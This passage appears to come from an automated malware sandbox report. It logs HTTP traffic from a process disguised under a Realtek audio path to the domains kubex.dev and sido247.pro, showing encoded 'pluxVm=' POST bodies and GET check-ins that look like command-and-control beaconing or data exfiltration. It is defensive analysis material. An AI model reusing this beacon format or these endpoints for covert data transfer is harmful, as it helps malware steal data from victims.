a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.11.20	49818	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:20.559739113 CET	691	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 58 63 55 73 32 4c 51 47 33 6b 6e 71 4b 70 4a 74 2b 6e 42 66 37 58 59 69 62 63 35 7a 68 48 74 47 6b 54 76 71 57 54 53 6b 6c 77 4e 4f 73 67 6b 31 37 33 53 59 2f 42 38 2b 34 4a 39 67 4e 31 4d 58 34 6f 68 51 34 50 56 67 45 4c 6a 32 4f 38 6c 78 46 4e 2b 6e 30 48 72 32 77 6b 51 53 70 35 76 2f 47 56 66 67 50 44 6b 73 46 37 63 4b 55 54 4b 6e 62 55 6b 70 61 76 72 67 64 76 70 44 43 47 68 47 6d 5a 38 7a 57 34 5a 64 51 36 48 30 2f 72 2f 35 35 50 57 6c 78 79 4b 67 44 41 72 52 4b 48 42 75 4e 6a 79 4b 4b 56 69 41 4a 35 35 47 4b 6f 71 6e 6d 51 6e 56 5a 70 63 39 42 35 6c 2f 5a 6b 76 65 71 44 6d 30 57 69 76 50 2b 70 34 3d Data Ascii: pluxVm=00x6Nc1OHcgHXcUs2LQG3knqKpJt+nBf7XYibc5zhHtGkTvqWTSklwNOsgk173SY/B8+4J9gN1MX4ohQ4PVgELj2O8lxFN+n0Hr2wkQSp5v/GVfgPDksF7cKUTKnbUkpavrgdvpDCGhGmZ8zW4ZdQ6H0/r/55PWlxyKgDArRKHBuNjyKKViAJ55GKoqnmQnVZpc9B5l/ZkveqDm0WivP+p4=
Dec 3, 2024 14:55:20.759258032 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:55:20 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.11.20	49819	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:23.278038025 CET	2578	OUT	POST /o5mm/ HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.kubex.dev Referer: http://www.kubex.dev/o5mm/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 30 30 78 36 4e 63 31 4f 48 63 67 48 58 63 55 73 32 4c 51 47 33 6b 6e 71 4b 70 4a 74 2b 6e 42 66 37 58 59 69 62 63 35 7a 68 48 6c 47 6b 67 33 71 56 77 36 6b 2f 77 4e 4f 6b 41 6b 30 37 33 53 2f 2f 46 51 69 34 4a 78 65 4e 33 45 58 35 4c 35 51 36 2b 56 67 4b 4c 6a 32 48 63 6c 38 59 64 2b 2b 30 48 37 36 77 6e 6f 53 70 35 76 2f 47 57 58 67 59 43 6b 73 48 37 63 56 46 54 4b 72 4b 6b 6b 46 61 76 54 57 64 76 74 39 42 31 35 47 6d 35 73 7a 52 4c 78 64 52 61 48 32 38 72 2f 68 35 50 62 37 78 7a 6d 57 44 44 32 32 4b 47 5a 75 63 53 50 6d 54 46 36 68 4c 6f 38 4b 49 72 57 4d 6f 69 6a 6c 45 72 55 63 4d 59 6c 52 5a 54 66 31 72 67 57 49 47 77 62 2b 6c 63 37 75 58 78 42 43 44 43 50 6d 57 75 35 53 78 57 79 6b 51 4a 64 79 4e 65 69 41 66 72 63 79 78 2f 49 62 78 62 4c 59 73 77 75 74 43 6a 4d 6d 79 76 65 59 49 4b 6e 65 54 6a 53 73 67 43 52 74 43 70 4f 4a 48 69 70 53 51 2b 33 76 49 54 71 45 41 35 79 49 6e 56 6b 50 4b 45 64 31 63 39 44 4c 68 51 6c 34 52 6c 41 64 70 2f 79 6d 6e 76 4e 6f 38 51 36 46 7a 4f 72 [TRUNCATED] Data Ascii: pluxVm=00x6Nc1OHcgHXcUs2LQG3knqKpJt+nBf7XYibc5zhHlGkg3qVw6k/wNOkAk073S//FQi4JxeN3EX5L5Q6+VgKLj2Hcl8Yd++0H76wnoSp5v/GWXgYCksH7cVFTKrKkkFavTWdvt9B15Gm5szRLxdRaH28r/h5Pb7xzmWDD22KGZucSPmTF6hLo8KIrWMoijlErUcMYlRZTf1rgWIGwb+lc7uXxBCDCPmWu5SxWykQJdyNeiAfrcyx/IbxbLYswutCjMmyveYIKneTjSsgCRtCpOJHipSQ+3vITqEA5yInVkPKEd1c9DLhQl4RlAdp/ymnvNo8Q6FzOrbp9KILaDeZqP1DT3pSPbhjtJUan8M/ZxuN/IIeWtt+KNKtyZWHfusrVJr8nQzv+SEkg8taSFLcZXjf+4lsCdM+kuEafuYdgvYGxTWSPx+0nsq/Yibhp67ALUBM8MjkhZF/MQmk9ikh2BKvXrx1F+L0oZhhTW9ZhFGRH36nPATO1BnCqaCZn+MhnGtpKCzjIy9W7rSxOGumWc5ndV10tgCKKU4XleBE9+0Lum4dSFKng5Ixycpx2lPPnYxpspf9zDDpvrgwCf8ddeY9amyFpSkxvZ+xE83fCNPaWcOs2t0QRJ11GjfusCxVtaWxmnGchdoGrMrlHZzu6xMxjC/n80GgvOyh1Bf8IZc6Tjeul32qRnE5HAFJ2WFmo/8qxhFtuvQwtqg5sR9PkjgwjTpIWSXgQDNdoGZicH9ftkcXN9FpP7xzqnxCdLeuDB1crZSjatAeoLhH4be94wwaY21YjBAmb9b8qsU5vm95yhifwQzHMiclddev9Mn9elo6l7j1l3VVldyT4I0TWZ+FpWGy7k9vGie3f9biIvWFDDZb/0RfQfe6Olp0+9lfWCImYma38sTfhANUZ6XaXau5brk16ZpYd8vIx9ZjZuYJDSVvpS68C92aBXACeV5slJwIMro7oSj5du1jOYBS5w9YKLjRr4JY5nUo9WLk65iN [TRUNCATED]
Dec 3, 2024 14:55:23.278063059 CET	5156	OUT	Data Raw: 69 41 30 78 61 72 62 51 42 48 71 68 42 37 31 35 39 52 36 6d 79 2f 61 35 54 67 45 73 74 76 65 65 66 4e 78 52 71 31 46 56 37 33 56 48 41 49 59 53 68 7a 55 6e 34 45 70 49 79 78 30 45 38 34 33 38 49 44 56 34 33 35 6a 5a 36 2f 33 46 6d 6e 73 42 5a 77 Data Ascii: iA0xarbQBHqhB7159R6my/a5TgEstveefNxRq1FV73VHAIYShzUn4EpIyx0E8438IDV435jZ6/3FmnsBZw+5p9U9FzTu5NphdrsMemEZRnUazUcCNzCxjwebvB58V/lmiUOyTy5Ed2qIEJdYEGij7TzRV/svsX1hphTzYUDz2WPriYzu0T74DPEv8DS7gHhL1lKbaz0CIC3zvAe9LvyBMtb9LC29NG4xsGquHIeJMNzkDBMgZT+
Dec 3, 2024 14:55:23.278135061 CET	106	OUT	Data Raw: 42 41 72 35 49 4f 77 54 59 73 59 36 48 38 30 68 78 2f 4e 77 30 69 4d 35 78 7a 30 42 44 63 73 58 5a 33 65 74 36 30 6a 6b 75 39 37 49 4a 46 6f 44 46 39 56 72 58 43 6d 5a 58 42 72 62 36 44 43 50 57 4b 4f 55 46 2b 66 56 4d 42 73 4d 49 47 6d 4d 6d 73 Data Ascii: BAr5IOwTYsY6H80hx/Nw0iM5xz0BDcsXZ3et60jku97IJFoDF9VrXCmZXBrb6DCPWKOUF+fVMBsMIGmMmsQNUhzXX01mYz4PVJT4Q1ZA==
Dec 3, 2024 14:55:23.500036001 CET	558	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 03 Dec 2024 13:55:23 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 37 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f c3 30 0c be ef 57 98 70 4e b3 32 0e 5b d7 ee c0 36 09 a4 f1 10 14 01 c7 d0 ba 6b 44 9a 94 d4 a3 1b bf 9e b4 e3 2d c4 c9 4e f4 3d ec cf f1 c1 e2 72 9e 3e 5c 2d a1 a4 4a c3 d5 ed c9 ea 6c 0e 8c 0b 71 37 9a 0b b1 48 17 70 7f 9a 9e af 20 0c 86 90 3a 69 1a 45 ca 1a a9 85 58 5e b0 01 2b 89 ea 48 88 b6 6d 83 76 14 58 b7 16 e9 b5 d8 76 5a 61 47 7e 6f 39 7d 63 06 39 e5 6c 36 88 7b 43 2d cd 3a 61 68 18 6c 2b 1d fd 78 99 26 f9 43 3e 9c 4c 26 7b 55 af 01 71 89 32 f7 15 62 52 a4 b1 eb 60 e9 9c 75 70 3c 3c 06 0e 17 96 a0 b0 1b 93 77 10 f1 89 89 2b 24 09 99 35 84 86 12 46 b8 25 d1 8d 33 85 ac 94 ae 41 4a 36 54 f0 31 f3 a1 50 cd f1 79 a3 5e 12 36 df c3 79 ba ab b1 f3 86 5f 2a c6 f2 4c 66 25 fe 64 f5 5f bc b3 72 56 f7 23 8b f7 99 e3 47 9b ef a0 a1 9d c6 84 15 1e c0 0b 59 29 bd 8b a4 53 52 4f f7 16 65 f8 81 c8 ac b6 2e 3a 1c ca d1 d1 38 9b f6 f8 46 bd 62 e4 0f 83 d5 1e fd cf ea 65 d8 4f 5c 7f a8 7d f1 87 c1 f8 93 bf 50 08 fe 20 b8 c6 47 34 08 37 a8 08 e1 c9 1a [TRUNCATED] Data Ascii: 173}QKO0WpN2[6kD-N=r>\-Jlq7Hp :iEX^+HmvXvZaG~o9}c9l6{C-:ahl+x&C>L&{Uq2bR`up<<w+$5F%3AJ6T1Py^6y_*Lf%d_rV#GY)SROe.:8FbeO\}P G47k,\|hEKZ{XtAo[Y0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.11.20	49820	217.160.0.183	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:25.995148897 CET	416	OUT	GET /o5mm/?pluxVm=52ZaOoJJHsYFYpcE8OJe6kaaR+Ibp2Nxq28CYNd7tHRxqCukViCUoHxjhmN2/g+W5SkTzZJsaEIA3pVY9O1vDv+SN/8yFpfSlnbOuEouoKz6AG71fS9yZK8=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.kubex.dev Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:55:26.190704107 CET	745	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 601 Connection: close Date: Tue, 03 Dec 2024 13:55:26 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Die angegebene Seite konnte nicht gefunden werden. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.11.20	49821	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:31.410336018 CET	677	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 4c 58 45 49 4a 4f 43 6c 79 4e 63 79 7a 6b 56 4e 72 62 43 2b 42 32 36 57 56 72 54 32 32 51 7a 4e 69 53 39 70 42 4e 31 4e 31 74 75 45 31 56 4a 49 6c 56 79 48 6d 32 55 64 50 53 6f 45 33 42 79 59 75 67 6b 5a 69 68 30 68 77 6f 67 50 50 41 47 67 55 48 31 30 68 42 71 72 66 4c 41 32 69 4a 50 39 4b 4c 77 4a 43 76 2f 43 42 6d 76 64 71 54 5a 67 62 7a 43 50 55 54 6a 32 6d 2b 56 64 57 66 74 70 67 78 46 54 70 4d 6e 64 73 70 67 4e 38 6b 4e 33 41 67 73 70 62 72 58 56 45 66 31 71 63 6b 42 31 6c 52 69 5a 79 74 56 77 2f 45 6c 65 67 33 48 2f 48 70 6e 63 41 3d 3d Data Ascii: pluxVm=Au1rE+1OP8YWkLXEIJOClyNcyzkVNrbC+B26WVrT22QzNiS9pBN1N1tuE1VJIlVyHm2UdPSoE3ByYugkZih0hwogPPAGgUH10hBqrfLA2iJP9KLwJCv/CBmvdqTZgbzCPUTj2m+VdWftpgxFTpMndspgN8kN3AgspbrXVEf1qckB1lRiZytVw/Eleg3H/HpncA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.11.20	49822	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:34.144407988 CET	697	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 76 54 45 4b 75 79 43 67 53 4d 75 72 44 6b 56 44 4c 62 47 2b 42 4b 36 57 52 61 49 32 41 41 7a 4e 48 2b 39 75 41 4e 31 42 56 74 75 50 56 56 47 56 56 55 2b 48 6d 36 36 64 4c 53 6f 45 33 56 79 59 72 63 6b 5a 56 31 33 7a 51 6f 69 55 66 41 45 75 30 48 31 30 68 42 71 72 66 66 75 32 69 52 50 39 37 37 77 49 6a 76 67 4c 68 6d 67 4b 61 54 5a 72 37 7a 4f 50 55 54 52 32 6a 6d 2f 64 55 6e 74 70 67 42 46 54 63 77 6b 58 73 70 6d 43 63 6c 73 34 51 67 70 70 4c 66 61 65 31 72 41 75 50 63 32 77 7a 63 34 45 41 5a 78 7a 73 59 58 61 51 4f 76 39 46 6f 38 42 43 66 50 30 65 6d 67 6e 65 4a 30 69 6e 57 63 4f 55 64 57 30 36 30 3d Data Ascii: pluxVm=Au1rE+1OP8YWkvTEKuyCgSMurDkVDLbG+BK6WRaI2AAzNH+9uAN1BVtuPVVGVVU+Hm66dLSoE3VyYrckZV13zQoiUfAEu0H10hBqrffu2iRP977wIjvgLhmgKaTZr7zOPUTR2jm/dUntpgBFTcwkXspmCcls4QgppLfae1rAuPc2wzc4EAZxzsYXaQOv9Fo8BCfP0emgneJ0inWcOUdW060=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.11.20	49823	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:36.878411055 CET	5156	OUT	POST /073p/ HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.sido247.pro Referer: http://www.sido247.pro/073p/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 41 75 31 72 45 2b 31 4f 50 38 59 57 6b 76 54 45 4b 75 79 43 67 53 4d 75 72 44 6b 56 44 4c 62 47 2b 42 4b 36 57 52 61 49 32 41 49 7a 4d 78 71 39 6f 6a 6c 31 41 56 74 75 47 31 55 68 56 56 56 6b 48 69 65 32 64 4c 57 53 45 30 74 79 4b 64 6f 6b 66 6b 31 33 35 51 6f 69 4c 50 41 46 67 55 48 73 30 68 52 75 72 66 50 75 32 69 52 50 39 35 6a 77 50 79 76 67 4e 68 6d 76 64 71 54 4e 67 62 7a 69 50 51 32 6b 32 69 53 46 64 45 48 74 70 45 74 46 55 2b 59 6b 56 4d 70 6b 4f 38 6c 4f 34 51 74 35 70 50 47 6c 65 32 33 35 75 4d 4d 32 39 31 4a 36 55 45 42 4d 6c 4f 4d 36 53 69 43 46 7a 31 63 7a 66 31 50 75 33 2b 76 4f 6b 62 4e 59 69 45 53 77 66 6d 78 68 6a 2b 58 76 50 4d 37 66 4e 6a 37 71 42 59 36 7a 53 58 75 4e 44 44 73 59 45 41 49 43 77 76 6d 79 37 42 67 64 31 55 6b 33 48 76 2b 36 44 64 41 43 55 42 50 48 78 69 2f 66 44 6d 49 70 69 4c 36 4d 4a 6e 7a 61 43 6b 43 67 2f 30 55 73 68 55 32 41 31 57 77 65 74 4c 70 45 76 53 66 35 56 78 72 68 43 6d 4a 4a 63 35 7a 41 34 75 7a 6a 53 67 52 62 35 53 6f 52 4a 75 2f [TRUNCATED] Data Ascii: pluxVm=Au1rE+1OP8YWkvTEKuyCgSMurDkVDLbG+BK6WRaI2AIzMxq9ojl1AVtuG1UhVVVkHie2dLWSE0tyKdokfk135QoiLPAFgUHs0hRurfPu2iRP95jwPyvgNhmvdqTNgbziPQ2k2iSFdEHtpEtFU+YkVMpkO8lO4Qt5pPGle235uMM291J6UEBMlOM6SiCFz1czf1Pu3+vOkbNYiESwfmxhj+XvPM7fNj7qBY6zSXuNDDsYEAICwvmy7Bgd1Uk3Hv+6DdACUBPHxi/fDmIpiL6MJnzaCkCg/0UshU2A1WwetLpEvSf5VxrhCmJJc5zA4uzjSgRb5SoRJu/SIqo7eGXLkKIXul+7dDPG4SbtMkaY0P4fan31BmxeNlxbkmALxtZPI+G/Hb4+Lysk/31YBbJjFd+gWvrkXThz43g481TydRyiRa+AUR0Yz2VToTx2lSBBGXzlgHvGp14QQ/ktjkxqlmLIBOiimM5WY9gPMWLynG5Ngi4unWPr5uIE34dtni6mP7lpMM+l0OreYHiRZF0K5e86CVxmVXYvj4cRC15MgDP4A8UOxJNZwK+xlFi0F8I5T2r09Zy8+qIRQS6IQKlZ8G/a0unrIBeq2DNtyi1RBhu5MOw6z0HQPSVBZJbIjnG20iFu0cE4qQZlktn/5IrUC6ePHXP5p6a2c9cL/Io0AiAyidtCTfdvKdYj4rRM99wl0cHtlahU/MtpbW28WkYHzE++Gt845YC3BRT/z+kE83w4w0yfMvtJcQk78oXvdjWw8cNHIqhmfRFRrna5WGZaiivrBBbRhj43O5hkJp7XW8ckbNyYzLlN5M91RgxjlHrw1Lvl4/uzGQEL1fb8q/wF3YYJefsQBGpxS17SHjVGpdGN+QuO27t7gw0Udd4mcFInvuyG9NOO25j5GqSDCEYis01vx51aGVjgCuw1PMar4zKTL5ZrkKUbbouzhRW4ScMHb32t/SbdszN10YolZnx0aXnsXcUNTblTlZCUFPq/4eYn9 [TRUNCATED]
Dec 3, 2024 14:55:36.878499985 CET	2690	OUT	Data Raw: 50 4a 32 6c 63 69 39 61 77 66 4e 63 79 69 56 49 79 4c 6d 76 35 4a 65 4d 46 6d 50 73 78 63 36 65 79 6c 6b 73 4a 6b 6f 6e 51 76 61 74 6d 45 78 6e 6a 75 50 57 71 51 73 41 38 45 4a 48 36 37 41 38 38 4a 62 35 62 45 4d 57 4f 65 4c 79 44 63 38 6e 54 41 Data Ascii: PJ2lci9awfNcyiVIyLmv5JeMFmPsxc6eylksJkonQvatmExnjuPWqQsA8EJH67A88Jb5bEMWOeLyDc8nTAFo+HR5PejZ4gFjHmU98xQjezYoy+xi/7yWMXv4GoKCgh8slNBNWrc9JnXh/mP9yCd6qXykVvAkV6CpZ58iNYfG1sLGRCCmUxhNeiIP4EmEOLZmI1InArNnPhOMIQqxjDaWOtyUlrnQYPutXQZlphnr0mLKWTl4DFS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.11.20	49824	84.32.84.32	80	7488	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:55:39.610806942 CET	418	OUT	GET /073p/?pluxVm=NsdLHLYUe9sblrm0I+Crv144tHMQQbz/4RSieCn+7DwPKByw7jhxCyJ0LTJMQHRDPlmDRdKjKllFY9ccUXh843okMet3hg+QsBhX3tP/6BR9rZiNBzb3ESI=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.sido247.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:55:39.822619915 CET	1289	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:55:39 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 4bb15f49de0b4477064de4166dc0609e-asc-edge4 Expires: Tue, 03 Dec 2024 13:55:38 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"Open Sans",Helvetica,sans-serif;color:#000;padding:0;m
